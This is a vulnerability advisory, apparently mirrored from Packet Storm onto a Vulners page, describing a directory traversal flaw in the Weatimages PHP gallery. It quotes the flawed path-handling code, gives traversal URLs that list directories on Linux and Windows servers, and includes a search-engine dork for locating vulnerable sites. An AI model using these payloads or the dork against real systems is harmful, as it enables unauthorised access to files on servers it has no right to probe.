Lucene search
K

Weatimages Directory Traversal / Local File Inclusion

🗓️ 01 Jan 2010 00:00:00Reported by e.wiZz!Type 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 22 Views

Weatimages Vulnerabilities - Directory Traversal & Local File Inclusio

Code
`Weatimages Directory Traversal&Local File Include Vulnerabilities  
  
By: e.wiZz!  
  
  
############Script info:  
  
############Site: http://nazarkin.name/projects/weatimages/download.php  
  
  
  
In the wild...  
  
#######################################################  
  
  
#######index.php:  
  
...  
  
//kill oneself if user trying to access resource with '/../' in path  
if (strstr(urldecode($_SERVER['REQUEST_URI']), '/../')) { fatal_error('Suspicious query rejected'); }  
  
...  
  
if (!$REQUEST_PATH) {  
if ($_GET['path']) { //compatibility mode enabled and we have some path  
$REQUEST_PATH = $_GET['path'];  
$SERVER_PHP_SELF = $_SERVER['SCRIPT_NAME'] . '/' . $REQUEST_PATH . '/';  
}  
else { //we are in the root directory  
$REQUEST_PATH = '.';  
}  
}  
  
...  
  
...huh, did you know there are Windows servers?  
  
#####List files in directory you want(linux):  
  
http://inthewild/index.php?path=../  
http://inthewild/index.php?path=../..  
  
##### Windows?:  
  
http://inthewild/index.php?path=..\anything  
  
  
########Dork:  
http://www.google.ba/#hl=bs&q=%22Powered+by+Weatimages%22&start=20&sa=N&fp=73afe0b6734a45d2 (google says 200 000,i dont trust them)  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation